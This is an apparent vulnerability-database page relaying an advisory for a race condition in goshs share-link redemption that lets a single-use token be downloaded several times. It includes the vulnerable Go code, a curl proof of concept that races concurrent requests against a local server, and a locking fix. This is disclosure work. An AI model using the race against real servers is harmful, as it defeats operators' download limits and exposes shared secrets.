🛡️ CVE-2026-50139 — goshs

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs: Share-link ?token=… redemption races past download limit

# Share-link ?token=… redemption races past download limit

Ecosystem: Go

Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs)

Affected: <= v2.0.9 (every release that shipped the share-link feature)

Summary

ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.

Details

[httpserver/handler.go:968-1018](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018):

```go

fs.sharedLinksMu.RLock()

entry, ok := fs.SharedLinks[token]

fs.sharedLinksMu.RUnlock() // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {

// ...serve file... // <-- whole transfer happens unlocked

}

fs.sharedLinksMu.Lock() // <-- re-acquired only now

current.Downloaded++

if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }

fs.sharedLinksMu.Unlock()

```

Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.

Proof of concept

```bash

goshs -p 18000 -d /tmp/r -b admin:pw &

echo data > /tmp/r/f.txt

# operator issues a one-shot share

SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")

TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions

curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \

curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \

wait

# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

```

Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.

Impact

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Suggested fix

Reserve under the write lock *before* serving — refund only if the serve fails:

```go

fs.sharedLinksMu.Lock()

entry, ok := fs.SharedLinks[token]

if !ok || time.Now().After(entry.Expires) ||

(entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {

fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return

}

entry.Downloaded++

if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {

delete(fs.SharedLinks, token)

} else {

fs.SharedLinks[token] = entry

}

fs.sharedLinksMu.Unlock()

// ...serve...

```

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

Affected software

CVE-2026-50139 is recorded against 2 packages.

  • goshs.de/goshs
  • goshs.de/goshs/v2

Timeline and source

Published on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Advisory)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-07-07
Updated 2026-08-12
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
goshs.de/goshs
goshs.de/goshs/v2

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-50139?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-50139 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.